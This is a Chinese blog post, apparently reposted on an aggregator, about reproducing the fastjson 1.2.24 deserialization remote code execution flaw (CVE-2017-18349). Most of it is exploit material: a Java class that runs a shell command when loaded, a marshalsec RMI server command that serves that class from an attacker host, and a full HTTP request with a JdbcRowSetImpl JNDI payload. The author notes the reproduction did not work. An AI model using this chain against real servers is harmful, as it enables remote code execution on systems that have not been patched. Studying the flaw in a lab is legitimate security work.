fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)
生活随笔
收集整理的這篇文章主要介紹了
fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
漏洞背景
Pippo是一款基于Java的Web框架。FastjsonEngine是其中的一個JSON處理引擎。Fastjson是其中的一個基于Java的JSON解析器/生成器。 Pippo 1.11.0版本中的FastjsonEngine所使用的Fastjson 1.2.25之前版本的parseObject存在安全漏洞。遠程攻擊者可通過發送特制的JSON請求利用該漏洞執行任意代碼。
漏洞復現
首先新建java腳本:
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}} }使用javac TouchFile.java生成class文件
在該目錄下用python個簡便的HTTP
marshalsec項目,啟動一個RMI服務器,監聽9999端口,并制定加載遠程類TouchFile.class:(需要mvn編譯marshalsec)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your_ip:7777/#TouchFile" 9999再向靶機發送payload,帶上剛剛開的RMI
POST / HTTP/1.1 Host: your-ip:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://your_ip:9999/TouchFile","autoCommit":true} }死活復現不出來,有沒有大佬幫幫孩子,已經哭傻了…
報錯信息:
總結
以上是生活随笔為你收集整理的fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 2020联发科技笔试面试经验
- 下一篇: unity加速传感器的应用